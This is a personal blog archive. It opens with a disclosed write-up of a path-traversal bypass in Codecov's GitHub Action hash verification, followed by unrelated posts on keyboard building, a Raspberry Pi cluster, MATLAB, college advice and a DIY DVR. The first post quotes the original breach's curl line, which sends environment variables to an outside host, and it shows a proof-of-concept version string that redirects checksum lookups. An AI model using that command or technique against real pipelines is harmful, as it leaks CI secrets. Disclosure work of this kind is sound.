Revan Sopher

Hash Verification Bypass in Codecov GitHub Action

2021-04-25T00:00:00+00:00

Codecov, a test coverage service, disclosed a considerable supply-chain attack on April 15th. The preventative hash verification measure added post-fact was trivially vulnerable.

As per Codecov’s own disclosure, the attack involved compromising the hosting of their code uploader bash script (warning, link downloads file) to add a single line slurping up environment variables to an unknown server:

curl -sm 0.5 -d “$(git remote -v)<<<<<< ENV $(env)” http://<redacted>/upload/v2 || true

The GitHub Actions codecov uploader, despite being written in typescript, actually just downloads the bash script and calls exec on it.

Hash Verification

After disclosing the breach, Codecov engineers added some hash verification logic to avoid blindly executing malicious bash code from the web.

I looked at the PR diff out of curiosity, and found a reviewer comment asking why the logic was computing and checking SHA1, SHA256, and SHA512. The author’s answer of “although it is unlikely that one would match and another wouldn’t, I’d prefer to be thorough” felt like security mysticism so I looked closer for any obvious errors.

calculateChecksum(), aptly named, calculates one of the SHA hashes by number using the standard library hash function.

const calculateChecksum = (body, i) => {
  const shasum = crypto.createHash(`sha${i}`);
  shasum.update(body);
  return `${shasum.digest('hex')}  codecov`;
};

retrieveChecksum() downloads the corresponding hashes that have been checked into the bash script repository. Downloading hashes smells funny from a security perspective, but I suppose if we’re running this typescript on a GitHub Actions machine and couldn’t trust GitHub’s hosting, we also couldn’t trust the script we were currently running. If anything, downloading the bash script itself from GitHub’s hosting might have avoided this whole compromise in the first place?

The SHA1 for 1.0.1, then, contains 0ddc61a9408418c73b19a1375f63bb460dc947a8 codecov.

export const retrieveChecksum = async (version, encryption) => {
  const url = `https://raw.githubusercontent.com/codecov/codecov-bash/${version}/SHA${encryption}SUM`;
  const response = await request({
    maxAttempts: 10,
    timeout: 3000,
    url: url,
  });

  if (response.statusCode != 200) {
    core.warning(
        `Codecov could not retrieve checksum SHA${encryption} at ${url}`,
    );
    return '';
  }
  return response.body;
};

In order to know which versioned hash to check against, the code parses the VERSION="1.0.2" line from the script like so:

const getVersion = (body) => {
  const regex = /VERSION="(.*)+"/g;
  const match = regex.exec(body);
  return match ? match[1] : null;
};

This string is parsed using a particularly generous regex. Oh no.

Bypass

I modified the official bash uploader by adding a line of custom code (in this case an echo, but just as easily the malicious curl of the original breach) and wrote a custom version string:

#!/usr/bin/env bash

# Apache License Version 2.0, January 2004
# https://github.com/codecov/codecov-bash/blob/master/LICENSE

set -e +o pipefail

VERSION="../../revan/codecov-bash/1.0.1"

echo "doing nefarious things" || true

I hosted the script as a gist, but in an attack scenario the malicious bash file would be once again hosted from their compromised server.

(Aside, yes, the original script sets +o pipefail to explicitly disable a disabled-by-default safety feature. Your scripts should pretty much always start with set -euo pipefail.)

I then forked the codecov-bash repository, and made a single commit updating the checked in hashes to be the corresponding hashes of my malicious uploader script.

You can probably put together the parts here, but to summarize: if the new hash-aware GitHub Actions client were served my modified bash file, getVersion() would happily return "../../revan/codecov-bash/1.0.1", which retrieveChecksum() would interpolate into the url string. The ../ in the url is interpreted to mean “up a directory” just like in the terminal, backing out of the official codecov repository and into mine.

Either my browser or blog software is eagerly parsing the ../ out of any link, but paste this to see for yourselves:

https://raw.githubusercontent.com/codecov/codecov-bash/../../revan/codecov-bash/1.0.1/SHA1SUM

The client locally calculates the three hashes, which match the hashes in my repository, and proceeds to execute the script:

$ node dist/index.js
[command]/bin/bash codecov.sh -n  -F  -Q github-action
doing nefarious things

  _____          _
 / ____|        | |
| |     ___   __| | ___  ___ _____   __
| |    / _ \ / _` |/ _ \/ __/ _ \ \ / /
| |___| (_) | (_| |  __/ (_| (_) \ V /
 \_____\___/ \__,_|\___|\___\___/ \_/
                              Bash-../../revan/codecov-bash/1.0.1


==> git version 2.31.0 found

Resolution

Because I’m not on a resolute mission to spread chaos, I disclosed this vulnerability to Codecov security@ per their policy on April 19th. It was acknowledged same day, and a fix tightening the regex and hardcoding the hashes was merged the next.

The code still parses an untrusted downloaded file to extract the version, which rubs me wrong since they could instead check against the n most recent hashes, but I don’t see any security issues beyond a (pointless) DOS or potential vulnerability in the standard library regex engine.

Security is hard and I only know just enough to know not to trust my own knowledge, but this episode hasn’t left me feeling impressed.

Building the ErgoDash

2021-01-10T00:00:00+00:00

Build log-ish document for choosing and assembling a particular split ergonomic mechanical keyboard.

It was 2018 when I first realized I needed to do something about my keyboard ergonomics situation. During a period of particularly mechanical refactoring by day and more Counter-Strike than perhaps strictly responsible by night, I started showing signs of light RSI in my left hand. Not willing to risk the shame (and, you know, career-altering disability) of having Ctrl+C‘d my way into Emacs pinky (as an ostensible Vim user no less!), I switched to a tented ErgoDox EZ at work.

It took a couple weeks to get up to speed on the ErgoDox, especially the aligned columns, but it was a marked improvement. Still, I felt the same complaints about the design as many note: in particular, that the thumb cluster is awkwardly shaped and too far away to be particularly useful. Come May 2020 and the beginning of long term working from home, spending full days at the same desk, I decided to give a hobby build a shot.

Requirements

Split hands. While this means the additional hassle of needing to reorient the keyboard whenever I move it, it also means I can place the two halves apart and angled slightly inward such that my elbows never have to leave my armrests.

Column stagger. While the normal QWERTY layout has subsequent rows staggered from each other, this is a relic of the not-jamming-the-typewriter days. This doesn’t really make sense, since our fingers are… straight (and it looks really weird when split.). A popular custom option is to arrange the keys into a rectangular grid, which is a bit more natural, but the column stagger layouts take this a step further by vertically shifting the columns of the longer fingers.

Thumb modifiers. Standard keyboard layouts reserve both thumbs for a single space key. Considering the other fingers are generally responsible for four to eight keys, that seems a bit… unnecessarily fault-tolerant? My plan was to offload all the modifiers I was contorting my left pinkie for onto the left thumb.

Number keys, arrow keys. The enthusiast ergonomic keyboard world seems to love these minimalist designs where every input beyond the basic alphabet is hidden away behind a layer or two of chording, with the split goal of eliminating all hand movements and achieving a state of enlightened minimalist bliss. I’m actually quite fond of my arrow keys! Plus my discomfort is from shortcuts, not wrist strain, so chording would be a step in the wrong direction here.

Usable for PC gaming. There’s actually not too much to this one – any keyboard that doesn’t try shed every non-alpha key is probably going to have a serviceable left hand.

Some internet prowling turned up only the ErgoDash as fitting these criteria, though the Corne and Iris look promising if I were ready to give up the arrow keys. The Dactyl Manuform looks like quite the adventure, but I didn’t have access to 3D printing.

Parts

PCB Printing

ErgoDash PCBs seem to occasionally go for sale as group-buys, but at the moment only falba.tech carries it (for a modest €16.26, and less modest €30.00 of shipping). Luckily as an open source design, we can actually have our own boards printed by sending the design files off GitHub to a manufacturer. I used JLCPCB to get 5 boards (minimum quantity) at 1.6mm thick, with the fancy lead-free ENIG finish (though I did use leaded solder, so I guess my window of opportunity for licking the board has closed), shipped for $45.65.

The interface was a bit bewildering (and certainly made it clear I was playing with industrial prototyping beyond my realm of understanding), but the experience was pleasant: it took 11 days to pass through manufacturing, review, and delivery, beating out some of the off-the-shelf orders I’d placed.

Case Cutting

A similar situation for the case assembly: I uploaded the files from the repo to Ponoko for laser cutting, where a 1.5mm black acrylic case ran me around $50 (of which $14 is a one-off setup fee) As it turns out, 1.5mm was way too thin: the thumb cluster plate snapped during assembly, and the project became a shaky mess of tape. I’d guess 3mm is a more appropriate acrylic thickness.

I ordered a second case, this time using another user’s variant which adds four holes for M5 screws around the keyboard for a tenting setup. I had this one made in 1.6mm aluminum (a material that can actually stay together at that thickness) for only $6 more than the first order. Underwhelmingly I ended up finding my favorite degree of tenting is no tenting, though, so now I’ve got these unused screw holes sticking out all over.

Note that for some reason the official case design includes multiple size variants in one file, so I deleted the ones I didn’t need in Inkscape before uploading.

Hot Swapping

I chose a popular option for making a hot-swappable keyboard: instead of soldering the switches directly into the PCB, which locks you into a commitment to one switch type and makes repairs harder, we solder in two of these Mill-Max 0305 tubes per switch. The switch legs stick inside the tube with friction, otherwise operating normally. They do slightly affect the angle at which the switch rests, but the top plate of the case stabilizes nicely.

Elite-C

I also swapped the Arduino Pro Micro for the backwards-compatible Elite-C which boasts a sturdier USB-C port. Aside from needlessly driving the price up, I figured I could cleverly also avoid installing the standalone reset buttons as the Elite-C has one on-board – what I hadn’t thought through is that the on-board reset button is all but inaccessible once installed, so flashing a new layout to this thing currently requires me to wedge tweezers inside the case and feel for the button.

Keycaps

Normal mechanical keycap sets don’t include enough 1U caps to cover this layout, so I’ve seen a lot of folks use stray keys or cheap blank PBTs. The “MDA Big Bang Ortholinear” set, available unreliably around the internet for $60, is unusual for its wide selection of keys (the heights even lined up for me, other than the stray += sticking out).

Key Switches

While I first built this using the tried and true MX Blues, I pulled those out for a set of Kailh Box Whites (80 for $30). I’ve been loving these switches: slightly lighter than the blues, and with an audible click both on the downstroke and the upstroke.

The PCB can handle both PCB-mount and plate-mount switches, where PCB-mount have little plastic nubs for stabilizing against the PCB and both types can be held in place by the top plate of a case. It’s technically possible to omit the case altogether using PCB-mount switches, but then each keystroke’s force drives straight into the PCB rather than being distributed through the case assembly. In my case, the Kailh box switches are plate-mount only, so the decision was easy.

Misc

The remaining parts were sourced from keeb.io or Amazon, inventory depending.

part	price
Diodes x100	$4.68
6mm M2 standoffs	$3.49
10mm M2 standoffs	$3.49
many many M2 screws	$12.69
Cherry MX Stabilizer x2	$3.98
TRRS Jack x2	$1.00
TRRS Cable	$3.99
Braided USB C cable	$5.90
Shipping	$4.24

The project total, irresponsibly ignoring both waste from bad purchases and the cost of non-consumable tools and equipment, comes to around $300. While that’s not exactly a reassuring number, it is cheaper than the shelf price on the ErgoDox EZ.

Assembly

This was my first time soldering anything onto a PCB, and it went luckily quite smoothly once I found myself an iron capable of precise temperature control.

Once the Elite-Cs were flashed and installed, I was able to debug the few bad joins by shorting connections with my tweezers.

Assembly is fairly straightforward following the official build guide, so let’s call this bit a visual interlude.

That’s… not supposed to happen, right?

Heat resistant tape is super handy for keeping the hotswap sockets in-place when soldering.

Cut a piece of cardboard to maintain space between the Arduino and the PCB.

Stabilizers for the two long keys were a bit scratchy.

The laser-cut acrylic came accompanied by a delicious toasty aroma.

Tightening the case. The acrylic was too thin and snapped in the thumb cluster.

Functional, with wrist wrests! The combination of the broken plate and the hot-swap sockets made the thumb keys super wobbly.

Reinstalled in an aluminum case, with tenting screws.

Layout

The QMK Configurator offers a nice(r) interface for keybinding than editing the config file directly. For my own, I tried to keep standard where possible (in the interest of ease of adoption and switching to my laptop).

I placed my arrow keys in a cross, rather than the proper HJKL mirror, which took some time getting used to hopping over an extra column for /?. My single function key then takes the spot liberated to the left, allowing me to do one-handed inputs of the second-layer movement keys.

My left thumb now shoulders all the standard modifiers – with Ctrl on the giant key, copy/pasting has never been so satisfying. Super I primarily use with the number keys, for switching virtual desktops, which just requires shifting two keys up from the home row. The single Shift is likely the most questionable bit of this layout, but I haven’t found it uncomfortable even for capitalizing left-handed letters.

I placed Space on my dominant (right) thumb, since that’s how I’d been typing naturally when given the choice of both. The implication for PC gaming is just to rebind “jump” to Delete, resulting in a slightly overcommitted finger sliding between Delete, Shift, and Control which mostly hasn’t gotten in the way (crouch-jumping is something of a nightmare now, though).

An interesting thing about this PCB design is the area with the furthest two thumb keys are perforated, so we can snap the two keys clean off to get a smaller keyboard. I notably haven’t found a great use for the extra two thumb keys per hand, so I’ll probably end up moving some of the function-layer keys down onto them.

Retrospective

I built this keyboard around the time I picked up a decent office chair (a beat up Steelcase Leap V1 which turned out to be twenty years old) and adjustable-height desk for working from home, so a lot of variables changed in my ergonomic setup at once. The abrupt pandemic-induced dropping of rock climbing may have played a part too? Some part of all this has worked great though, and typing has been completely comfortable for the first time I can remember.

State Schools are Nifty!

2016-10-31T00:00:00+00:00

Guest article for the alumni column in my department’s yearly newsletter, just a touch preachy.

Choosing Rutgers was probably the best decision I made senior year of high school. The peculiar thing about the tech industry is that employers care about what a candidate knows, not which school they attended – certainly more so than in business or law, but also more than in more “traditional” engineering fields. I was confident that I could achieve my goals no matter which university I chose, so I couldn’t justify paying the high prices of the “elite” schools. As an in-state student, Rutgers was a fantastic value – the scholarships only made the choice easier.

At the time, I was unsure whether I wanted to follow an academic or industry career path: the former would involve undergraduate research and careful GPA preening to prepare for graduate studies, while the latter would entail internships and the self-driven study of practical skills. Fortunately, Rutgers afforded me the luxury to straddle the divide, pursuing both directions through senior year as I continued my soul-searching.

During semesters, I had the opportunity to contribute to a biomedical research project on stroke rehabilitation using smartphones, and to a computer vision research project on transmitting hidden messages using light (funded by NASA’s NJ Space Grant Consortium). During summers, I interned at a nutrition app startup in New York, and at an online university course startup in Silicon Valley.

My advice to current students, then, is to muster up the drive to take advantage of the opportunities available at Rutgers. There’s an excellent Computer Science undergrad community which regularly holds workshops, events, and “hackathon” competitions to help beginners pick up essential skills and prepare for technical interviews. And as a large research university, there’s an abundance of projects which would appreciate the contributions of a programmer, if you only reach out to the professor.

My advice to prospective students, hesitating between Rutgers and pricier private options, is to believe in your ability to develop yourself and shape your career. With motivation, you can achieve as much at Rutgers as at any Ivy.

Building a Distributed Machine Learning Testbench with resin.io on Raspberry Pis

2016-05-25T00:00:00+00:00

Guest post for resin.io about my senior design project, originally published here!

Intro

For our senior design project, we decided to build a testbench for developing and iterating distributed machine learning algorithms of the sort that our adviser studies. The general idea is to deliver a complete solution based on a python library which hides away lower-level concepts such as networking and synchronization, allowing an academic programmer to focus on the high-level math of their algorithms.

My teammate Nikhil worked on some high-level algorithm implementations while I worked on the library and tooling. In this post I’ll be explaining how I used resin.io (nominally an Internet of Things platform) and open source tools to take the pain out of my own development process as I built out the library and cluster.

Hardware Setup

The initial plan was to scrounge up the handful of Pis we had around the lab and see what we could do, but the kind folks at resin.io (seriously the best) gifted us a bunch of Raspberry Pi 1 B+s. These are an older model so each device isn’t particularly powerful, but by sheer number they’re rather impressive.

I built a 4x4 grid of Pis (shown partially wired here). Amortizing the cost of the microSD, chargers, cables, and switch, each Pi required approximately $15 of additional hardware.

I kept the Pis in place by nailing them into a thick piece of Medium-density Fiberboard; two nails at slight angles through the holes in the circuit board worked fine. Those holes are machine screw size 2.5M, but I couldn’t find any of those at the hardware store.

The cables were whatever was cheapest on Monoprice, the chargers from Amazon, and the microSD from a lucky $4 for 16GB sale at Staples. The 24 port switch I salvaged from our lab, but the fan was whiny so I opened the case up for passive cooling instead.

Software Setup

Imaging the Pis with the resin.io image ended up being one of the most time consuming parts of this project, only because it required constant babysitting. Three of the twenty microSD cards turned out to be defective, refusing to write (buy extras!), but one by one the 16 working devices showed up on the resin.io console as they powered on. It sure made me appreciate the time savings of not having to reimage every device to deploy new code!

Before finding resin.io, I had tried rolling my own deployment solution, which was complicated by our campus internet hiding the devices from the outside world (and parts of our LAN!). I was working on some weird reverse ssh tunneling scheme where each device would connect to an external server, but keeping the connection alive was a pain and the stock raspbian image unnecessarily bloated for this use case. After switching to resin.io, though, everything just worked! The cluster running in my dorm room was even accessible off campus through the resin.io dashboard.

The dashboard assigns each new device a random unique name. For the purposes of this project, I had to go through the steps of renaming each corresponding to its position, yielding pi1 through pi16. Then, I used the environment variable panel to define a variable on each device, $DEVICE_ID, holding the same number. This way, the same code could be deployed to each device, and specific devices can behave differently depending on their ID.

The Dockerfile is rather straightforward, pulling the resin.io supplied python base image and install the required packages. It then copies over the repository, and installs the Zookeeper config. Note that (presumably due to ARM) pip seemed to be compiling numpy from source, causing the whole process to take about half an hour (but thankfully Docker caches at each step so the image is rarely built from scratch).

FROM resin/raspberrypi-python:3.4
ENV INITSYSTEM on

RUN apt-get update && apt-get upgrade -y
RUN apt-get install -y zookeeperd
RUN apt-get install -y libzmq3-dev

RUN pip install -vv numpy # this takes an hour to run!
RUN pip install kazoo
RUN pip install pyzmq
RUN pip install requests

COPY . /app
COPY zoo.cfg /etc/zookeeper/conf/zoo.cfg

WORKDIR /app

CMD ["./init.sh"]

init.sh is a runtime script which configures Zookeeper with the device ID (and forcibly restarts it), then runs a demo:

#!/bin/sh
echo "Boot complete."
echo "I am device #$DEVICE_ID"

echo "Launching Zookeeper"
service zookeeper stop
echo $DEVICE_ID > /var/lib/zookeeper/myid
service zookeeper start

echo "Starting routing demo"
python3 /app/geo_routing.py

System Design

Each device runs an Apache Zookeeper instance in an overly replicated cluster (this admittedly made more sense when I was working with three devices – I’d consider moving the Zookeeper instance off the cluster to a coordinator server now). On boot, each device checks in to Zookeeper with its ID:IP mapping, and waits for the rest of the nodes to come online.

The networking aspect of the library is mostly handled by pyzmq, a lightweight message queue. I wrote a class that wraps all the networking and marshaling by opening sockets with all the other devices, offering an interface for sending arbitrary python objects to a neighbor (identified by name, rather than by IP).

The class also tries to simplify synchronization, by providing a function that sleeps the calling thread until the device has received a message from each neighbor, which is a common operation in synchronous algorithms which advance through phases together.

It all works quite well – for the most part. As it turns out, trying to obfuscate all synchronization primitives lead to some interesting struggles with the tornado event looper, causing some pretty dense deadlocks. I still haven’t figured out the cause of one nasty race condition that only surfaces once in a hundred calls. Whoops…

Configurable Topologies

One interesting feature is the ability to dynamically change the “wiring” of the cluster by defining which nodes are “neighbors” to which – the networking wrapper will restrict communication to only a device’s neighbors. I wrote a couple of quick and dirty web interfaces for generating a topology JSON configuration which each device fetches from a server: on the left is a “wired” simulation where clicking between two devices links them, and on the right is a “wireless” simulation where the draggable nodes are connected if they are within signal range.

This is served on an outside DigitalOcean droplet, but as I discovered too late resin.io allows for public facing device URLs so it should be possible to serve these UIs directly on the cluster.

Local development

While resin.io made deployments a whole lot easier, I still needed a more practical solution for local development than waiting a full three minutes to realize a python script had a syntax error. Manually opening terminals on my laptop was a hassle and made cleanup hard.

Tmuxinator fit the bill nicely, offering a wrapper on tmux allowing for launching configurable sessions.

name: c6
root: .

pre:
  - echo "rmr /addr" | zkCli.sh
  - ln -sf c6.json topo.json

pre_window: source env/bin/activate

windows:
  - nodes:
      layout: tile
      panes:
        - DEVICE_ID=1 python3 <%= @args[0] %>
        - DEVICE_ID=2 python3 <%= @args[0] %>
        - DEVICE_ID=3 python3 <%= @args[0] %>
        - DEVICE_ID=4 python3 <%= @args[0] %>
        - DEVICE_ID=5 python3 <%= @args[0] %>
        - DEVICE_ID=6 python3 <%= @args[0] %>

With this file in the tmuxinator configuration directory, running mux c6 avg_async.py will launch the asynchronous averaging script in six tiled terminals, linked in a circular topology. Killing all the tmux terminals is just a C-b &.

LED Control

One of the cool advantages of using physical hardware is the ability to visualize the workings of the code. You can override the CPU and disk indicator lights on the Pi, giving you a couple of onboard LEDs, green and red.

def set(led, value):
    command = "echo %d | sudo tee /sys/class/leds/led%d/brightness" % (value, led)
    subprocess.call(command, shell=True)

def init(led):
    command = "echo gpio | sudo tee /sys/class/leds/led%d/trigger" % (led)
    subprocess.call(command, shell=True)

Pass led as 0 for green, 1 for red, and value as 0 for off, 1 for on. Call init once to disable the default indicator behavior of the lights.

This shone nicely in a “geo-routing” demo I prepared, where one Pi would try to send a message to a non-adjacent Pi by bouncing it between neighbors. By turning on LEDs, one could visualize the path of the message through the grid.

Endgame

We actually couldn’t get the router hooked up at the demo session, but we plugged everything in anyway and pitched as well as we could.

We ended up taking one of the three first place prizes, which was pretty rad. I wouldn’t recommend anyone use my code outright (there will be regrets), but I’m hoping this writeup will inspire someone to give resin.io a shot even in non-IoT projects!

The project source is on GitHub. Give me a star or something. Pretty please?

Questions? Want to tell me my code is bad? Find me at revan.io.

Python list comprehensions in MATLAB

2015-10-25T00:00:00+00:00

My classes this semester are requiring a whole lot MATLAB, with its …unusual syntax and focus on matrices over loops.

I was pretty excited to find out MATLAB has some basic support for python calling.

I got right to work on getting list comprehensions, a feature I’m dearly missing.

function array = pylist(statement, vars)
    workspace = py.dict;
    for v = 1:length(vars)
        update(workspace, py.dict(pyargs(cell2mat(vars(v)), evalin('caller', cell2mat(vars(v))))))
    end
    
    cell2mat(cell(py.eval(statement, workspace)))
end

Usage

The function takes a string python expression and a cell array of variable names to pass in, and returns an array of the results.

>> x = 6

x =

	6

>> pylist('[q**2 for q in range(int(x))]', {'x'})

ans =

	0	1	4	9	16	25

There’s some cool bits going on here, especially with the variable loading. MATLAB exposes the current workspace through evalin(), letting us fetch variables by name. x needs int casting because it’s comes out as a float. Most of the code is in processing the python data type wrappers.

Of course, the minute I finished this I realized MATLAB has its own alternative to list comprehensions, with the function arrayfun().

Oops.

College Applications: Standardized Testing

2015-01-21T00:00:00+00:00

I figured I’d put down my thoughts on the college application experience here, before this all gets to be too long ago for my advice to be relevant.

Be your own prep class

I’m sure SAT Prep classes have are effective for some audiences, but seeing as you’re reading this right now, I’d wager you have it in you to save your time and money by sitting down with a practice book and reading the advice there.

The material on the exams isn’t new or hard, for the most part: it’s the (frankly unrealistic) presentation via timed multiple choice that gets you. Sit down with some practice tests and keep at it until you can produce the numbers you want, then take the actual exam.

Don’t omit

I’ve heard enough airy theorizing on this to make me want to weigh in: on the SAT, a correct answer yields 1 point, an incorrect answer -0.25 points, and an omitted answer 0.

The penalizing makes sense: there are five choices to a question, so for completely random selection we would average 1 right for 4 wrong, or (1 * 1) + (4 * -0.25) = 0 points, exactly neutral.

If you can eliminate even just one, the choice is clear: (1 * 1) + (3 * -0.25) = 0.25 points on a random selection of the remaining choices, so don’t omit. To a lesser extent, assuming you’re not the sort of person who falls for every trick answer, having even the slightest intuition means means a positive expected value.

SAT Subject Tests

For some reason no one ever told me about these, but the top schools will require you take a few. These are a bit more involved.

Filter your email

Standardized tests tend to have an opt-out checkbox in the personal identification section saying something about sharing your email. Leave this unchecked, and you’ll be treated to a deluge the most obscure colleges imploring you to apply. It’s cute, at first, but it gets to the point where you can’t use your inbox anymore.

The flood slowly recedes as you make your way through your freshman year of college, but for some reason a few schools still email me to this day, pathetic dejected puppies whimpering at my digital doorstep, wishing me a happy birthday and reminding me that “Revan, it’s still not too late to apply!”

The body count thus far? Over 3,400 emails.

Gmail, at least, provides the ability to automatically filter mail: set up a filter that acts on from:(university OR college OR admissions) -{CollegeBoard,OtherUniversitiesYouCareAbout} and tucks them away out of sight.

Don’t worry

In the end, these tests are fundamentally arbitrary, in that they measure your ability to test more than your ability to succeed academically. The people in admissions know this, so as long as you’re near the average score for the school, the SAT won’t sink your application.

Conversely, even a great score won’t carry you through: I happen to perform quite well on standardized testing, but even with my 2390/2400 I got my fair share of awkwardly worded rejections. More than I’d appreciate, for sure.

As it turns out, the other parts of the application are pretty important too.

Career Fair: How Do I Clothes?

2014-08-20T00:00:00+00:00

This question keeps popping up on Facebook every time a fair comes around, and answers always span from “suit and tie” to “t-shirt and jeans” to “giant banana suit”. Rutgers Career Services recently weighed in on this by emailing the entire undergrad a PDF sternly warning us that the fair is serious business where nothing less than a suit is appropriate, and inviting us to a variety of events where we can glean similar gems from presenters who have little understanding of the CS field.

For the Swag

I have no shame admitting one of the bigger reasons I show up at these events is the freebies. Staplers, USB drives, toothbrushes… All sorts of things normally available at outrageous prices from the campus convenience store. Pack a bag of some sort, so you don’t end up fumbling your loot for the rest of the day.

For the Job

If you’re at the fair, chances are you’re at least hoping for a job. Logically, you dress to fit in with your target environment – but that’s usually not a suit. Even in business-type companies, chances are the CS employees aren’t customer-facing, so dress requirements are laxer: polo or sweater and slacks is as formal as you’ll see or need for most interviews.

In fact, I’d say there’s a rather widely held unstated assumption that if someone is overdressed in this field, it’s a sign of overcompensation for a lack of skill.

Wear what you want

You want to look decent, so sweatpants and baggy t-shirt is out, but the important thing is that you feel comfortable and confident. I go with jeans and a hoodie, or a leather jacket.

Really though, your clothing doesn’t have nearly as much of an impact as what’s on your resume. When the recruiters are going through their stacks later, they’re not going to remember how you dressed.

Of course, I’d assume the clothing situation is entirely different in other fields.

Are you in the right place?

I landed my current internship from a career fair, somewhat surprising as there aren’t too many startups around these events. After handing them my resume and briefly talking about it, they had handed me a rubber cauliflower (to date the weirdest swag), and later emailed me a code check.

Talking with the recruiter later, I learned there were ~180 applicants that day, and I was the only one to pass the code check. This wasn’t a particularly hard preliminary screen, either – just a couple basic integer manipulation questions.

I won’t pretend to be the top of Rutgers CS talent, so why is this? Evidently, the competent students aren’t applying places through the fair.

So…

You’ll want to find companies and apply online. You can show up at the career fair and drop resumes with the few relevant companies, but if you limit yourself to just the ones that show up, you’ll have applied to dangerously few positions.

And as always, “free yo-yo’s and hair gel” remains a valid reason to attend.

DIY DVR Adventures

2014-08-03T00:00:00+00:00

I decided to finally replace my family’s pitiful set-top DVR.

The Past

Our entry into the DVR world was with the TiVo Series 2, a chunky box that interacted with the cable box via a taped-on IR emitter. It had inside two cable tuners, one of which was connected to the cable box and the other directly to the cable, providing the ability to watch two channels at once: one under 100 (unencrypted), and the other any channel.

The TiVo box sold for ~$200, but also required a $15 monthly subscription to receive upcoming TV schedules. There was an option for a lifetime service plan for several hundred dollars, but that was pretty clearly a terrible deal considering this box didn’t even do HD. In retrospect, that’s an exorbitant monthly fee considering scraping work being done, and the free alternatives schedule services maintained by volunteers, but those concerns were quickly quelled by cries of “OH MY GOD, I CAN PAUSE LIVE TV!”

This all worked out alright for a few years until Optimum, in what I can only assume was part of an ongoing campaign to undercut the KGB’s customer service ratings, decided to begin encrypting all channels, even the lower numbered ones. This meant that of the TiVo’s two-tuner design, the straight-from-cable tuner was now useless, recording only a stern warning that cable box is needed. From a software point of view, we could then disable the unencrypted tuner and settle for only recording one show at a time. Enter TiVo’s brilliant software design: there was no way to disable the tuner, and the software would try to optimize recording logistics by assigning the unencrypted tuner wherever possible. In the end, then, the TiVo lost the ability to record any channel below 100. Goodbye, Comedy Central!

Understandably, this situation wasn’t to be expected years prior when the software was designed, so it’s somewhat unreasonable to expect configuration options to address this issue. What I did expect, though, was for some sort of hotfix to be pushed: this is a pretty expensive service we’re paying for, after all. No fix came, and the box was dead in the water with no way for community support.

Not eager at the thought of having another TiVo box obsoleted down the road, I decided to try out the cable provider’s own DVR solution, an upgrade costing an additional $8 per month with no hardware purchase requirement. Despite its lumbering Windows 95 monstrosity of a UI, it got the job done and for relatively cheap. It was pretty barebones, so I supplemented it with a Raspberry Pi running XBMC, which streamed files from a desktop on LAN.

I decided there must be a more elegant solution, and decided to build my own DVR. I found the Ceton InfiniTV 4, a PCI-e expansion card for desktops promising four cable tuners, for the sizeable sum of $200. Still, less than the price of a TiVo, and no recurring fees.

OS

For the operating system, I was excited to try MythTV, an open source DVR software that has plugins for cool stuff like automatically detecting and skipping commercials, and of course runs on Linux. Optimum, never one to disappoint, rained on that parade by setting all their channels to “Copy Once” rather than “Copy Freely”, coating every channel with thick slops of DRM. Essentially, content is encrypted in such a way that only approved software can decrypt it. Gaining approval for a software in this case is a multi-thousand dollar certification process consisting of proving that the software abides by the requested DRM restrictions, in this case only allowing a single copy of each program. Being an open source project, MythTV can’t get certified for this unlike Microsoft or TiVo, so none of my channels would be watchable. So, I was forced into Windows Media Center. Luckily, Rutgers students get free copies of Windows through Dreamspark.

The Build

I had a 2005 Dell desktop that I had upgraded with a GPU a few years back, so I decided I’d toss the card in there and be done with it. Setup went fine until it came time to install the Ceton drivers, at which point the system crashed. After some super fun troubleshooting, including getting a license for a different version of Windows, I learned from Ceton support that the old nForce chipset on the AMD motherboard was incompatible. Bummer. The best part about this situation was that there was no upgrade path for this machine: using a rare BTX formfactor, replacement motherboards are hard to come by, and upgrading the motherboard would mean replacing the CPU, RAM, and PSU at least.

The Build 2

I decided to start fresh:

Type	Item	Price
CPU	AMD A6-6400K 3.9GHz Dual-Core Processor	$64.24
Motherboard	MSI A78M-E35 Micro ATX FM2+ Motherboard	$52.99
Memory	Kingston Fury Red Series 8GB (2 x 4GB) DDR3-1866 Memory	$72.99
Storage	Western Digital Caviar Blue 1TB 3.5" 7200RPM Internal Hard Drive	$57.99
Case	Cougar Spike MicroATX Mini Tower Case	$15.00
Power Supply	Corsair CSM 450W 80+ Gold Certified Semi-Modular ATX Power Supply	$54.99
Operating System	Microsoft Windows 7 Professional SP1 (Dreamspark) (64-bit)	$0.00
Other	Ceton InfiniTV 4	$200.00
		Total
		$518.20

I picked the AMD processor because of its low price and its powerful integrated graphics. The high speed RAM is necessary for effective use of the graphics power. The hard drive is cheap but fast enough to keep up with recordings. The case was on sale, the motherboard fit the pieces, and the PSU fed everything fine. I chose Windows 7, not because of fanatical anti-8-ism, but because of the free Media Center availability.

The Setup

This time around, driver installs went without issue. Setting up the InfiniTV was straightforward; it pops into any PCI-e slot in the motherboard, then takes two inputs: a coaxial cable, and a Multi-Stream CableCARD rented from the cable provider for $2 a month, the same as a modern TiVo. Note that the coaxial cable is the raw encrypted cable – no more need for a standalone cable box.

When I opened Windows Media Center, though, I had an unpleasant surprise: after running some diagnostics, it bluntly informed me that the system was not compliant with the minimum requirements for watching live TV. Confused as to what purchasing mistake I might have made, I ended up realizing that I had forgotten to install the drivers for the AMD integrated GPU; it was trying to render the video using only the CPU.

Oops.

With that fixed, the rest ran fine. I needed to call the Optimum number onscreen for activation, where I was put on hold listening to highly lossy smooth jazz periodically punctuated by an overeager recording telling me to check out their cool website, only to interrupt himself to remind me to change the batteries in my remote if it’s not working, or some similar drivel.

After years of mediocre software, Windows Media Center is a nice step up. A responsive interface, Netflix, a graphical movie listing, and the ability to play files from disk combine to make a nice experience. Since the device even has a decent GPU, it can fluidly fastforward TV while pitch-shifting the audio rather than do the spotty slideshow fastforward of my previous devices. Watching the news at 1.33x speed is cool, and keeps things fresh.

It even offered to scan through all the channels and detect which ones were received, hiding the rest. Great! Except…

Tuning Adapter

The staple of my parents’ TV diet, a high-numbered French movie channel, was not available. This channel, and others around it in the channel listing, are less popular so using Switched Digital Video Optimum is able to save bandwidth by only sending the signal to customers actively trying to watch the channel. Regular cable boxes handle SDV requests behind the scenes, but for other devices, you need a standalone “Tuning Adapter”, a little black box which is installed between the InfiniTV and the coaxial cable, relaying requests for SDV channels to the cable provider.

Thankfully, this is offered free of charge, but alas the device is flaky as hell and needs regular rebooting, sometimes failing to switch channels.

Thoughts

This project ended up going way over budget, though still comparable in price to purchasing a new TiVo with service for a couple years. If you find yourself with a recent, decently powerful computer lying around, this project might be more cost effective.

